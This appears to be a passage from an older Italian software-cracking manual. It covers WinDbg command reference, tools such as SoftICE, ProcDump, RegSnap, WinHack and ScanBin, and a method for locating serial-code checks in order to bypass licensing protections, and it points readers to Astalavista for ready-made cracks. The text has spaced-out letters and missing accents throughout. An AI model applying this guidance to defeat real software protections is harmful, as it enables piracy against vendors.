Use t he FR ( Fl oat i ng- Poi nt Regi st er s) command t o vi ew and modi f y f l oat i ng- poi nt
r egi st er s.


REMOTE Start Remote Server

RT Register Display Toggle

S+, S- Set Source/Assembly Mode

SA, SB, SD, SI, SS, ST, SU, SW Search Memory

Sear ches t hough memor y t o f i nd a speci f i c byt e pat t er n. I f t he pat t er n i s f ound,
Wi ndows Debugger wi l l di spl ay t he f i r st memor y addr ess i n r ange wher e i t was
f ound.

Command Fi l l
SA ANSI ( ext ended ASCI I ) char act er s
SB Byt e val ues
SD Doubl e- wor d ( f our - byt e) val ues
SI Fl oat i ng- poi nt number s ( 8- byt e)
SS Fl oat i ng- poi nt number s ( 4- byt e)
ST Fl oat i ng- poi nt number s ( 10- byt e)
SU Uni code char act er s
SW Wor d val ues
Synt ax

S{A|B|D|I|S|T|U|W} range pattern

Par amet er s

r ange

The memor y ar ea t o sear ch t hr ough. For mor e i nf or mat i on, see Range Synt ax.

pat t er n

One or mor e byt e val ues or ANSI or Uni code char act er s t o sear ch f or . Separ at e
mul t i pl e val ues wi t h spaces.

Remar ks

When ent er i ng numer i c val ues t o sear ch f or , you can use C- st yl e r adi x pr ef i xes
t o over r i de t he def aul t r adi x. Pr ef i x oct al const ant s wi t h a " 0o" ( f or exampl e
0o1776) , hexadeci mal const ant s wi t h " 0x" ( f or exampl e 0xF000) , and deci mal
const ant s wi t h " 0t " ( f or exampl e 0t 199) .
When ent er i ng Uni code val ues t o sear ch f or , you can i ncl ude space ( " " )
char act er s by encl osi ng t he char act er st r i ng i n quot at i on mar ks ( " or ' ) . I f you
encl ose t he st r i ng i n doubl e quot at i on mar ks, Wi ndows Debugger wi l l
aut omat i cal l y nul l - t er mi nat e t he st r i ng. Si ngl e quot at i on mar ks ( ' ) wi l l not add
a nul l char act er . You can ent er st andar d C escape char act er s, such as \ t , \ 007,
and \ " .

SX, SXD, SXE, SXN Set Exceptions

Cont r ol s t he behavi or of t he debugger when t r appi ng except i ons bef or e execut i ng
except i on- handl i ng code. The debugger al ways hal t s bef or e execut i on r et ur ns f r om
t he except i on handl er .

Command Act i on
SX Di spl ays t he event s t hat t he debugger wi l l hal t f or .
SXD Causes t he debugger t o i gnor e t he speci f i ed except i on and i ssue an
aut omat i c GN command.
SXE Causes t he debugger t o hal t at t he speci f i ed except i on.
SXN Causes t he debugger t o di spl ay a message bef or e t he except i on i s passed t o
t he t ar get appl i cat i on, and causes Wi ndows Debugger t o i ssue a GN command af t er
t he message i s di spl ayed.
Synt ax

SX [ [ except i on] ]
SXE except i on [ [ message] ] [ [ / Ccmdl i st 1] ] [ [ / C2cmdl i st 2] ]
SX{D| N} except i on [ [ message] ] [ [ / C2cmdl i st 2] ]

Par amet er s

except i on

The except i on number t hat t he command act s upon, i n t he cur r ent r adi x. I f you do
not speci f y an except i on, t he SX command wi l l di spl ay i nf or mat i on on al l
except i ons.

message

Message t o di spl ay i n t he command wi ndow when t he except i on i s t r apped.

cmdl i st 1

Semi col on- separ at ed l i st of Wi ndows Debugger commands t o execut e when an
except i on i s f i r st r ai sed. The / C opt i on i s per mi t t ed onl y wi t h t he SXE command.
Encl ose i n quot es i f cmdl i st 1 i ncl udes spaces or semi col ons.

cmdl i st 2

Semi col on- separ at ed l i st of commands t o execut e af t er an except i on has not been
handl ed. Encl ose i n quot es i f cmdl i st 2 i ncl udes spaces or semi col ons.

Remar ks

The / C opt i on ( al l owed onl y wi t h SXE) t el l s t he debugger t o execut e t he
speci f i ed commands on t he f i r st chance ( bef or e t he except i on i s passed t o t he
appl i cat i on) . The / C2 opt i on t el l s t he debugger t o execut e t he speci f i ed
commands on t he second chance ( i f t he except i on i s not handl ed by t he debugger
or t he appl i cat i on) . For mor e i nf or mat i on, see t he Pl at f or mSDK document at i on on
st r uct ur ed except i on handl i ng.
When t he debugger st ops due t o an except i on, onl y t he GN ( Go- - Except i on Not
Handl ed) and GH ( Go- - Except i on Handl ed) commands can be used t o cont i nue
execut i on. The SXD and SXN commands aut omat i cal l y cal l GN.


T Trace

Execut es t he i nst r uct i on or sour ce l i ne at t he i nst r uct i on poi nt er and di spl ays
t he r esul t i ng val ues of al l r egi st er s and f l ags. Use t he P ( Pr ogr am St ep)
command t o have t he debugger execut e subr out i ne cal l s or i nt er r upt s wi t hout
r et ur ni ng cont r ol t o t he debugger .

Thi s command i s equi val ent t o cl i cki ng St ep I nt o f r om t he Debug menu, or
pr essi ng F11 or F8.

Synt ax

[ [ t hr ead] ] T [ [ count ] ]

Par amet er s

t hr ead

The t hr ead t o t r ace t hr ough. For mor e i nf or mat i on, see Pr ocess and Thr ead
Synt ax.

count

The number of i nst r uct i ons or sour ce l i nes ( dependi ng on t he Sour ce/ Assembl y
mode) t o st ep t hr ough bef or e st oppi ng.


U Unassemble

X Examine Symbols

Di spl ays t he symbol s i n al l cont ext s t hat mat ch pat t er n. I f you do not speci f y
any opt i ons, al l except publ i c symbol s ar e sear ched. I f you do not speci f y a
pat t er n, al l symbol s wi l l be di spl ayed. To i gnor e case i n t he sear ch, cl i ck
Opt i ons f r omt he Vi ew menu, cl i ck Debugger , and cl i ck I gnor e Case.

Synt ax

X[ [ opt i ons] ] [ [ { [ [ pr ocedur e] ] , [ [ modul e] ] , [ [ execut abl e] ] } ] ] [ [ pat t er n] ]

Par amet er s

opt i ons

Speci f i es t he scope of t he symbol sear ch. These opt i ons cannot be separ at ed by
spaces and must i mmedi at el y f ol l ow t he X ( f or exampl e, XEM) . Use t he f ol l owi ng
l et t er s t o speci f y scope:

Let t er Scope
C The cur r ent cl ass.
E Al l modul es i n t he execut abl e or DLL, except f or t he cur r ent modul e.
F The cur r ent f unct i on.
G Al l gl obal symbol s.
L The cur r ent code bl ock ( l exi cal scope) .
M The cur r ent modul e.
P Al l publ i c symbol s.
pr ocedur e, modul e, execut abl e

The ar ea t o sear ch. For exampl e, {f unct i on1, sr cf i l e. c, t ar get . dl l } wi l l sear ch
f unct i on1 f r om sr cf i l e. c i n t ar get . dl l . Thi s i s i dent i cal t o t he br eakpoi nt
cont ext oper at or .

pat t er n

A pat t er n t o sear ch f or . The ? and * wi l dcar ds ar e suppor t ed.

Z Unfreeze Thread

Una car at t er i st i ca i nt er essant e l egat a al l a possi bi l i t di usar e i l debugger
per l anal i si dei post mor t em.
Quando capi t a un past i cci o e i l si st ema sal t a vi ene r i cer cat o nel r egi st r o i l
val or e del l a voce :

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\AeDebug

Set t at e l a seguent e l i nea di comando.

windbg -p %ld -e %ld

Quando un pr ogr amma sal t er ver
chi amat o i l debugger
aut omat i cament e.

PROGRAMMI CON BORLAND C

Al l a par i dei pr ogr ammi e del l e
ut i l i t i es f or ni t e con Mi cr osof t
Vi sual C++ anche con i l Bor l and
C vengono f or ni t i al cuni
sof t war e che possono esser e
ut i l i zzat i per var i scopi .
I l TURBO DEBUGGER pr esent e nel
pacchet t o per DOS, WI NDOWS 16 e
WI NDOWS 32.
Anche l a ver si one per Wi ndows 95
di spone di un i nt er f acci a a
car at t er e.
La t i pol ogi a dei br eakpoi nt s
set t abi l i abbast anza compl et a
per met t endo di ver se f unzi oni .
TD per met t e i nol t r e i l t r aci ng
del l heap.
Le chi amat e r el at i ve al l e cal l
sono compost e i n modo t al e che
sempr e possi bi l e veder e a qual e
modul o i ndi r i zzat a l a chi amat a.
Un ut i l i t y f or ni t a i nsi eme WI NSI GHT che par agonabi l e a Spy++.
WS per met t e di moni t or ar e i messaggi r el at i vi al l e Wi ndows pr esent i sul deskt op.



WINHEX 8.32


Si t r at t a di uno dei pochi che di spone di un edi t or che per met t e di vi sual i zzar e
di r et t ament e i set t or i su di sco senza dover si appoggi ar e ad un f i l e.
Chi ar ament e bi sogna pr est ar e at t enzi one a non danneggi ar e qual che set t or e del
di sco cr i t i co.



SOFTICE 3.x 4.x
SoftICE 3.24
http://www.numega.com

Vogl i o el encar e t r a gl i al t r i
Sof t I ce anche se di f at t o a
quest o debugger dedi cat o
pi avant i un i nt er o
capi t ol o.
Si cur ament e qui par l i amo del
massi mo anche se di f at t o
abbast anza pi compl i cat o
degl i al t r i debugger .
Le compl i cazi oni sono l egat e
al numer o enor me di
f unzi onal i t possedut e dal
pr ogr amma.
La NuMega di st r i bui sce t r a l o shar ewar e i l debugger anche se di f at t o
possi bi l e t r var e i n
gi r o i numer i di
ser i e.
Penso che si a
i nut i l e r i cor dar e
che sul si st ema di
r i cer ca ASTALAVI STA
( par odi a ad
Al t avi st a)
possi bi l e t r ovar e i
cr acks di quasi
t ut t i i pr ogr ammi
essi st ent i .
Sof t I ce possi ede
una par t e car i cat a
i n memor i a che
vi ene at t i vat a
medi ant e l a
pr essi one dei t ast i
CTRL D o quel l i
set t at i medi ant e apposi t e i st r uzi oni .
I nol t r e Sof t I ce possi ede un buf f er che per met t e i l back t r ace ovver o
l esecuzi one a r i t r oso del codi ce.

PROCDUMP

Pr ocDump r i esce ad esegui r e un Dump su di sco di un pr ogr amma i n esecuzi one e ad
esegui r e f unzi oni di unpack/ decr ypt su si st emi sof t war e t i po BJ FNt , ENC,
Act i vi si on Packer , Manol o, NeoLi t e, Pet i t e, Secur om, VBOX, Shr i nker 3. 2&3. 3,
WWPACK32 e mol t i al t r i .
Vbox si cur ament e uno dei pi ut i l i zzat i
per l a gest i one del l e l i mi t azi oni del
sof t war e a n gi or ni .
Mol t i si st emi di pr ot ezi one sono cr ypt at i i n
memor i a per cui sono di f f i ci l ment e
debuggabi l i con sof t war e t i po Sof t I ce ecc.
Pr ocDump possi ede di ver si si st emi per
bypassar e di ver si si st emi sof t war e e cr ear e
dei dump decodi f i cat i .
I n al cuni casi Pr ocDump r ende i nut i l e
l ut i l i zzo di debugger .
Pr ocDump possi ede di ver se opzi oni che
possi bi l e ut i l i zzar e a seconda del t i po di
sof t war e con cui si ha a che f ar e.
La f i nest r a a f i anco most r a al cuni dei
met odi di packi ng i ncl usi i n pr ocdump.
La seguent e, i nvece, una t abel l a t r ovat a su i nt er net a r i guar do di Pr ocDump
che most r a l e var i e opzi oni .



Name Method Options Section To remove after
BJFNT 1.x *unknown* Create new import. Last one.
Do not recompute obj.
ENC 0.1 Standard Do not recompute obj.
HASIUK used HASIUK Default None
by Activision /NeoLite
LOUIS Cryptor Standard Default Last section
Do not recompute obj.
Manolo Manolo Rebuild Import Table .manolo section
NeoLite x.xx HASIUK Default None
/NeoLite
PECRYPT32 none Depend on version
PELOAD Standard Do not recompute obj. .peload section
PELOCK none last one
PEPACK PEPack Rebuild Import Table PEPACK!! section
PESHiELD <0.2 PESHiELD Do not recompute obj. ANAKIN98 section
Petite Petite Default .petite section
Petite Petite 2 Create new import .petite section
U will need to fix
reloc pointer too.
Securom Standard Original CD required. Better not touch ;)
Do not recompute obj.
Shrinker 3.2 Shrinker32 Ignore Faults .load object at least
Rebuild Import Table
Shrinker 3.3 Shrinker33 Do not recompute obj. None
Rebuild Import Table
STNPE 1.xx Standard Do not recompute obj.
TimeLock 3.x Vbox Create new import WeiJunLi section
std/Dialog Ignore Faults
VBox Vbox Std Create new import WeiJunLi section
Ignore Faults
Do not recompute obj.
VBox with TRY Vbox Create new import WeiJunLi section
dialog Dialog Ignore Faults
Do not recompute obj.
WWPack32<1.10 WWPACK32 I Default .WWP32 section
WWPack32 1.10 WWPACK32 II Default .WWP32 section
WWPack32 1.11 WWPACK32 I Default .WWP32 section



REGSNAP
(c) 1998 Vitas Ramanchauskas, vi t as@sof t 4you. com



Come di cevo pr i ma spesso ut i l e anal i zzar e e compar ar e l a conf i gur azi one del
si st ema pr i ma e dopo l e i nst al l azi oni di sof t war e.
RegSnap r i esce a svol ger e del l e f unzi onal i t di quest o t i po i n quant o scat t a
del l e panor ami che al r egi st r o di wi ndows, ai f i l es syst em. i ni e wi n. i ni e al l e
di r ect or y \ wi ndows e \ wi ndows\ syst em.
Dopo aver scat t at o quest e f ot o al si st ema i n gr ado di sal var l e su di sco e
successi vament e di conf r ont ar l e cr eando un f i l e ht ml i n cui vengono r i por t at e l e
di f f er enze.
Esi st ono pr ogr ammi che per met t ono di moni t or ar e i n t empo r eal e gl i accessi al
r egi st r o.
Uno di quest i REGMON. EXE che
ol t r e ad aver e quest a
possi bi l i t pu set t ar e dei
f i l t r i per met t er e sot t o
anal i si sol o i messaggi
gener at i da al cune pr ocedur e.
Al cuni pr ogr ammi cont r ol l ano
l a pr esenza di quest o t i po di
anal i zzat or i e gener ano er r or i
nel moment o i n cui si
accor gono di esser e
osser vat i .
Per sonal ment e pr ef er i sco i
pr ogr ammi che eseguono anal i si
i n modo non di nami co.
I l pr ogr amma REGEDI T f or ni t o
con wi ndows t r oppo
r udi ment al e per esser e
ut i l i zzar o i n quant o per met t e
sol t ant o di esegui r e f unzi oni
di scr i t t ur a o di l et t ur a.
I nst al l ando un nuovo sof t war e
i mpossi bi l e saper e qual i
voci i nser i r , qual i modi f i cher e qual i cancel l er .
RegSnap, come ho gi det t o, mol t o det t agl i at o anche se dai pr ogr ammi di
pr ot ezi one bi sogna at t ender si qual che sut t er f ugi o per bypassar e quest o t i po di
ut i l i t i es.

WINHACK
WinHack v2.00
http://www.malinverni.com
[email protected]


Al cuni l avor i di quest o t i po non sono or i ent at i ad el i mi nar e l e l i mi t azi oni dei
pr ogr ammi ma i nvece i l l or o compi t o quel l o di t r ovar e del l e cheat wor ds per
acqui si r e pr opr i et par t i col ar i nei gi ochi come ad esempi o at t r aver sar e i mur i ,
di vent ar e i nvi nci bi l e ecc.
Uno dei pr obl emi f ondament al i
negl i at t acchi ai pr ogr ammi
quel l o l egat o al r eper i ment o di
st r i nghe, codi ci ecc. che
per met t ano di cr ear e l e r out i nes
di cr ack.
Un pr ogr amma adat t i ssi mo a f ar e
r i cer che i n memor i a esegui t e su
pr ogr ammi gi car i cat i e
Wi nHack.

Wi nHack al t ament e
speci al i zzat o i n r i cer che
ut i l i zzando di ver se t i pol ogi e, 6
per l a pr eci si one, t r a cui due
t i pi da 64 bi t s.
I l pr ogr amma di spone i nt er nament e anche di un Tr ai ner Cr eat or i nt er no.
Wi nHacker possi ede una l i br er i a di API che per met t e di agganci ar si a f unzi oni di
r i cer ca da pr ogr ammi nost r i est er ni .
I l si st ema di r i cer ca di Wi nHack si basa sul l o scat t o di una panor ami ca i ni zi al e
e i successi vi conf r ont i al l a r i cer ca di det er mi nat i val or i .
I n un pr ogr amma di gi ochi esi st ono val or i che i ndi cano l a pot enza del
per sonaggi o, i l suo st at o di sal ut e, l a quant i t di ci bo ed al t r i val or i .
Si car i ca i l gi oco e successi vament e Wi nHack chi edendo di scat t ar e l a pr i ma
panor ami ca.
Ad un cer t o punt o supponi amo che i l val or e di sal ut e del per sonaggi o si a passat o
dal 100 i ni zi al e al 57 at t ual e.
A quest 5o punt o si cer ca l a l ocazi one di memor i a i n cui i l val or e cambi at o da
100 a 57.
Tr ovat o quest o i ndi r i zzo si pu modi f i car e i l suo val or e come si vuol e.
Wi nHack i n gr ado di cr ear e i modul i memor y t r ai ner ut i l i zzabi l i per set t ar e i
val or i vol ut i al di f uor i di Wi nHack.
Quando si cer ca di at t accar e un sof t war e bi sogna segui r e del l e r egol e l ogi che
che ser vano a st abi l i r e qual e i l met odo mi gl i or e per i nt er veni r e.
I n pr i mi s guar di amo qual i DLL e al t r i modul i i l sof t war e car i ca al moment o del l a
sua at t i vazi one.
Per f ar e quest o esi st ono mol t i sof t war e t r a i qual i SCANBI N uno di quest i .
Una del l e cose f ondament al i quel l a di saper e qual i f i l es sono car i cat i dal
pr ogr amma ed i n par t i col ar modo l e api
expor t at e.
SCANBI N di spone di un cer t o numer o di opzi oni
sel ezi onabi l i t r ami t e voci di menu che
per met t ono l a vi sual i zzazi one di mol t i t i pi di
i nf or mazi oni .
L i ndi vi duazi one a pr i or i del l e f unzi oni
ut i l i zzat e dal o pr ogr amma i n anal i si per met t e
di ef f et t uar e una scel t a ot t i mal e per quant o
r i guar da i t ool s scel t i per esegui r e i l
t r aci ng e l e al t r e f unzi oni .
Se r i chi edendo l a vi sual i zzazi one del l e
f unzi oni i mpor t at e vedi amo che non compai ono
nel l a l i st a quel l e come Get Dl gI t emText o
Get Dl gI t emI nt dobbi amo suppor r e che l e l et t ur a
dei codi ci di at t i vazi one vi ene f at t a con al t r i si st emi , magar i pi nascost i
apposi t ament e.
L i ndi vi duazi one del punt o dove
vengono cont r ol l at i i codi ci al l or a
deve avveni r e t r ami t e al t r e
f unzi oni .
Un met odo pot r ebbe esser e quel l o
l egat o al l i dent i f i cazi one del numer o
I D del l e r i sor se.
Quest o i dent i f i cat or e pot r emmo
ot t ener l o t r ami t e l e f unzi oni
di Spy++ a pr ogr amma at t i vat o oppur e
possi amo cer car e di i dent i f i car e gl i I D
del l a Di al og o degl i ogget t i del l a
Di al og t r ami t e l a r i cer ca t r a i dat i
most r at i
da cer t i
pr ogr amm
i .
Par l ando di SCANBI N l e i nf or mazi oni
r i por t at e sono quel l e most r at e
nel l i mmagi ne, r el at i va al menu, qui a
f i anco.
Sl ezi onando I MPORTED REFERENCES possi amo
ot t ener e l a l i st a dei r i f er i ment i i mpor t at i
dal pr ogr amma.
La seguent e i mmagi ne most r a l a t i pol ogi a
del l e i nf or mazi oni i ner ent i a quest a voce.
Si t r at t a del l e f unzi oni i mpor t at e dal l e
DLL est er ne, pr opr i e del pr ogr amma e da
quel l e di si st ema come ad esempi o
USER32, KERNEL32 ecc.
I l nome del modul o da cui vengono
i mpor t at e most r at o al f i anco.
Quest e i nf or mazi oni sono quel l e
f ondament al i most r at e anche da
WDASM, Sof t I ce ecc.
Modul i l egat i ai set t aggi , t r a cui
ser i al i zzazi oni dei sof t war es,
vengono most r at i anche dal l uso di
f unzi oni l egat e appunt o al l uso del
r egi st r o come quel l e, casual ment e,
most r at e a f i anco ( RegCl oseKey ecc. )
SCANBI N most r a i n ogni caso quel l e
che l ui def i ni sce i nf or mazi oni
gener al i zzat e del pr ogr amma.
Dal nost r o punt o di vi st a non
cont i ene i nf or mazi oni che ci possano
i nt er essar e anche se al cune vol t e
pot r ebber o ser vi r ci per veder e se i l
pr ogr amma st at o r i scr i t t o.
Ci sono st at i dei casi i n cui l e
i nf or mazi oni necessar i e per l a
ser i al i zzazi one sono st at e r i scr i t t e
dent r o al pr ogr amma esegui bi l e st esso
ed al t r e vol t e i nvece i n f i l e . OCX o
. DLL che di f at t o non er ano t al i .
Un al t r a opzi one di menu most r a l e
f unzi oni espor t at e.
Quest o t i po di i nf or mazi oni sono
pr esent i sol t ant o nei modul i DLL o
si mi l i a che espor t ano l e l or o f unzi oni
ver so i l mondo est er no.
Gener al ment e quest a f i nest r a r i sul t a vuot a se i l pr ogr amma anal i zzat o un f i l e
esegui bi l e.
I nt er essan6t e i nvece l a l i st a
del l e DLL ut i l i zzat e.
Al cuni pr ogr ammi come WDASM
possi edono br eakpoi nt che bl occano
i l pr ogr amma quando quest o esce dal
modul o esegui bi l e per ent r ar e i n una
f unzi one pr esent e i n una DLL
est er na.
Saper e a pr i or i qual i DLL ut i l i zza
comunque una cosa comoda i n quant o
ci per met t e di esegui r e del l e
supposi zi oni su par amr et r i che non
sono pur amnt e t ecni ci come ad
esempi o nomi sospet t i di DLL.
La l i st a del l e r i sor se, come ho
det t o pr i ma, most r a l e r i sor se del
pr ogr amma vi sual i zzando i l nome, se
di sponi bi l e, e l i dent i f i cat or e
numer i co.
Tr a quest e r i sor se sono pr esent i
t ut t e quel l e gest i t e con i l r esour ce
edi t or del l i nguaggi o di
pr ogr ammazi one.
Se un di al og cr eat a t r ami t e quest o al l or a ver r most r at a i n quest a f i nest r a.
Chi ar ament e deve esser e gest i t a nel pr ogr amma come r i sor sa e non cr eat a con
f unzi oni di nami che che cr eano sul l i st ant e l e f i nest r e.
Le DLL possono esser e vi st e anche come un al ber o.
I l nost r o pr ogr amma pot r ebbe f ar e r i f er i ment o ad una f unzi one pr esent e i n una
DLL l a qual e pot r ebbe r i f er i r si ad al t r e f unzi oni pr esent i i n al t r e DLL, magar i
di si st ema f or ni t e i n Wi ndows.
Una par t i col ar e opzi one ci per met t e di ceder e l al ber o del l e chi amat e.
Anche quest a vi sual i zzazi one pot r ebbe ai ut ar ci a f ar ment e l ocal e, i n al t r e
par ol e a schi ar i r ci l e i dee anche per ch che cr ea i si st emi di pr ot ezi one f di
t ut t o per conf onder e l e per sone.
L opazi one EXADECI MAL DUMP non f a al t r o se non most r ar ci i l f i l e i n f or mat o
ESADECI MALE come f ar ebbe HI EW, HEXWORKSHOP, WI NHEX ecc.
Non penso che si a una del l e opzi oni pi ut i l i di SCANBI N.
Una del l e ul t i me opzi oni quel l a pi compl essa ma i n mol t i casi anche quel l a
pi ut i l e i n quant o ci r i f er i sce i nf or mazi oni sugl i i ndi r i zzi ed i n par t i col ar
modo al l header PE ecc.
La seguent e l i st a most r a sequenzi al ment e l e i nf or mazi oni most r at e gr azi e a
quest a opzi one.

Adresses tables : c:\Programmi\COMExp\comexp.exe
================================================
*** MS-DOS header (MH) ***
00000000 = 5A4D : MS-DOS signature
0000003C = 0080 : WINDOWS header offset (/MH)
00000040 = : MS-DOS stub program

*** PE File ***
PE File Header
00000080 = 00004550 : WINDOWS signature
00000084 = 014C : Machine (Intel 386)
00000086 = 0006 : NumberOfSections
00000088 = 3729EE3B : TimeDateStamp
0000008C = 0000:0000 : PointerToSymbolTable
00000090 = 00000000 : NumberOfSymbols
00000094 = 00E0 : SizeOfOptionalHeader
00000096 = 010E : Characteristics
- File is executable (no unresolved external
references)
- Line nunbers stripped from file
- Local symbols stripped from file
- 32 bit word machine
PE Optional Header
00000098 = 010B : Magic
0000009A = 3.0 : Linker Version
0000009C = 00010A00 : Size of Code
000000A0 = 00018A00 : Size of Initialized Data
000000A4 = 00000000 : Size of UnInitialized Data
000000A8 = 000116D0 : Address of Entry Point
000000AC = 00001000 : Base of Code
000000B0 = 00012000 : Base of Data
000000B4 = 00400000 : Image Base
000000B8 = 00001000 : Section Alignment
000000BC = 00000200 : File Alignment
000000C0 = 4.0 : Operating System Version
000000C4 = 0.0 : Image Version
000000C8 = 4.0 : Subsystem Version
000000CC = 00000000 : (Reserved)
000000D0 = 0002C000 : Size of Image
000000D4 = 00000400 : Size of Headers
000000D8 = 00000000 : CheckSum
000000DC = 0002 : SubSystem
000000DE = 0000 : DLL Characteristics
000000E0 = 00100000 : Size of Stack Reserve
000000E4 = 00001000 : Size of Stack Commit
000000E8 = 00100000 : Size of Heap Reserve
000000EC = 00001000 : Size of Heap Commit
000000F0 = 00000000 : Loader Flags
000000F4 = 00000010 : Number of Rva And Sizes
Image Data Directories
000000F8 = (unused) : (0)Export Directory
00000100 = 00019000 : (1)Import Directory
00000108 = 0001B000 : (2)Resource Directory
00000110 = (unused) : (3)Exception Directory
00000118 = (unused) : (4)Security Directory
00000120 = 00029000 : (5)Base Relocation Table
00000128 = (unused) : (6)Debug Directory
00000130 = (unused) : (7)Description String
00000138 = (unused) : (8)Machine Value (MIPS GP)
00000140 = (unused) : (9)TLS Directory
00000148 = (unused) : (10)Load Configuration Directory
*** Section Headers (number=6) ***
00000178 = .text : ( 1)
00000180 = 00010942 : Physical Address
00000184 = 00001000 : Virtual Address
00000188 = 00010A00 : Size of Raw Data
0000018C = 00000400 : Pointer to Raw Data
0000019C = 60000020 : Characteristics :
- alignment on 16 bytes
- contains code
000001A0 = .rdata : ( 2)
000001A8 = 00004D60 : Physical Address
000001AC = 00012000 : Virtual Address
000001B0 = 00004E00 : Size of Raw Data
000001B4 = 00010E00 : Pointer to Raw Data
000001C4 = 40000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
000001C8 = .data : ( 3)
000001D0 = 00001FF4 : Physical Address
000001D4 = 00017000 : Virtual Address
000001D8 = 00001E00 : Size of Raw Data
000001DC = 00015C00 : Pointer to Raw Data
000001EC = C0000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
000001F0 = .idata : ( 4)
000001F8 = 000014B6 : Physical Address
000001FC = 00019000 : Virtual Address
00000200 = 00001600 : Size of Raw Data
00000204 = 00017A00 : Pointer to Raw Data
00000214 = C0000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
00000218 = .rsrc : ( 5)
00000220 = 0000DC9C : Physical Address
00000224 = 0001B000 : Virtual Address
00000228 = 0000DE00 : Size of Raw Data
0000022C = 00019000 : Pointer to Raw Data
0000023C = 40000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
00000240 = .reloc : ( 6)
00000248 = 0000278E : Physical Address
0000024C = 00029000 : Virtual Address
00000250 = 00002800 : Size of Raw Data
00000254 = 00026E00 : Pointer to Raw Data
00000264 = 42000040 : Characteristics :
- alignment on 16 bytes
- contains initialized data
*** Directories/Sections Locations ***
00017A00 = .idata : Import Directory
00019000 = .rsrc : Resource Directory
00026E00 = .reloc : Base Relocation Table

Quando si t r at t a l a t eor i a del l a pr ogr ammazi one si t ende sempr e a suddi vi der e i l
t ut t o i n due par t i e pr eci sament e nel l a par t e di chi ar at i va e quel l a al gor i t mi ca.
Nel l a pr i ma f ase si pr ende i n osser vazi one i l pr obl ema e si cer ca di r i cavar ne
pi i nf or mazi oni possi bi l i gi udi cat e ut i l i od i ndi spensabi l i per i l
r aggi ungi ment o di una f i nal i t .
La seconda f ase quel l a i n cui quest i dat i vengono pr esi e mani pol at i dal l e
sequenze di i st r uzi oni .
Nel nost r o caso pot r emmo appunt o cr ear e un par al l el i smo l ogi co con quant o det t o
pr i ma.
Par t i amo dal pr esuppost o che chi scr i ve modul i dest i nat i al l a pr ot ezi one di
pr ogr ammi non cr ea codi ce che si a f aci l ment e i dent i f i cabi l e per cui i ndi vi duar e
i punt i i n cui vengono esegui t i i cont r ol l i pu esser e un compi t o ar duo.
Una buona anal i si i ni zi al e per met t e di adot t ar e l e t ecni che pi i donee.
I ni zi al ment e pr endet e i pr ogr ammi che per met t ano di esegui r e anal i si dei f i l e
esegui bi l i e cer cat e di capi r e dove si t r ovano l e r out i nes di r i chi est a codi ci .
Se non vi possi bi l e f ar l o t r ami t e l a r i cer ca di f unzi oni qual i Get Dl gI t emText
e si mi l i a cer cat e i messaggi d er r or e del t i po Codi ce er r at o e cer cat e di
i dent i f i car e dove gl i i ndi r i zzi di quest e st r i nghe vengono t r at t at e per esegui r e
l e st ampe.
Se non r i usci t e ad i dent i f i car e ni ent e del l e cose pr ecedent i at t i vat e i l
pr ogr amma e posi zi onat evi sul l a f i nest r a di r i chi est a del codi ce.
Con Spy++ r i chi edet e i l numer o d I D del l a di al og o dei var i campi d edi t
ut i l i zzat i .
Se non di sponet e di Spy++ cer cat e gl i I D con ScanBi n ecc.
Ot t enut i quest i dat i ut i l i zzat el i dent r o ai debugger .
Sof t I ce possi ede una vast a gamma di br eakpoi nt che vi per met t ono d i nt er r omper e
l esecuzi one del pr ogr amma per var i mot i vi .
Pot et e i nt er cet t ar e messaggi :

bmsg WM_INITDIALOG
bmsg WM_PAINT

I nsomma, cer cat e pr i ma di i ni zi ar e i l debuggi ng di aver e l e i dee chi ar e sul t i po
di t ecni ca da ut i l i zzar e.
Sof t I ce mol t o pot ent r e ma necessar i o saper e bene che cosa si vuol e per usar e
i n modo appr opr i at o i sui st r ument i .
WDASM pi sempl i ce ed anche meno pot ent e per cer t e cose ma pi i ndi cat o,
avendo gr an par t e dei comandi a pul sant e, quando si hanno l e i dee pi conf use.
Un buon pr ogr amma che nel caso i n cui si passi come ar goment o un f i l e esegui bi l e
r est i t ui sce un gr an numer o d i nf or mazi oni Qui ckVi ew Pl us.
La seguent e t abel l a most r a i t i pi di dat i vi sual i zzat i r el at i vi ad un pr ogr amma
esegui bi l e.
Ho t r oncat o i dat i i n quant o sar ebber o st at i t r oppi .
L i mpor t ant e r ender e l i dea sul l a t i pol ogi a del l e i nf or mazi oni r est i t ui t e.

WINDOWS EXECUTABLE
32bit for Windows 95 and Windows NT

Technical File Information:

Image File Header

Signature: 00004550
Machine: Intel 386
Number of Sections: 0008
Time Date Stamp: 2a425e19
Symbols Pointer: 00000000
Number of Symbols: 00000000
Size of Optional Header 00e0
Characteristics: File is executable (i.e. no unresolved external
references).
Line numbers stripped from file.
Local symbols stripped from file.
Low bytes of machine word are reversed.
32 bit word machine.
High bytes of machine word are reversed.


Image Optional Header

Magic: 010b
Linker Version: 2.25
Size of Code: 0008a000
Size of Initialized Data: 00022800
Size of Uninitialized Data: 00000000
Address of Entry Point: 0008ad38
Base of Code: 00001000
Base of Data: 0008b000
Image Base: 00400000
Section Alignment: 00001000
File Alignment: 00000200
Operating System Version: 1.00
Image Version: 0.00
Subsystem Version: 4.00
Reserved1: 00000000
Size of Image: 000b2000
Size of Headers: 00000400
Checksum: 00000000
Subsystem: Image runs in the Windows GUI subsystem.
DLL Characteristics: 0000
Size of Stack Reserve: 00100000
Size of Stack Commit: 00004000
Size of Heap Reserve: 00100000
Size of Heap Commit: 00001000
Loader Flags: 00000000
Size of Data Directory: 00000010
Import Directory Virtual Address: e000
Import Directory Size: 23e6
Resource Directory
Virtual Address: b000
Resource Directory Size: 6e00
Base Relocation Table
Virtual Address: 3000
Base Relocation Table Size: 79f4
TLS Directory Virtual Address: 2000
TLS Directory Size: 0018

Import Table

kernel32.dll
OrdinalFunction Name

0000 DeleteCriticalSection
0000 LeaveCriticalSection
0000 EnterCriticalSection
0000 InitializeCriticalSection
0000 VirtualFree
0000 VirtualAlloc
.....

user32.dll
Ordinal Function Name

0000 GetKeyboardType
0000 LoadStringA
0000 MessageBoxA

Section Table

Section name: CODE
Virtual Size: 00089e14
Virtual Address: 00001000
Size of raw data: 0008a000
Pointer to Raw Data: 00000400
Pointer to Relocations: 00000000
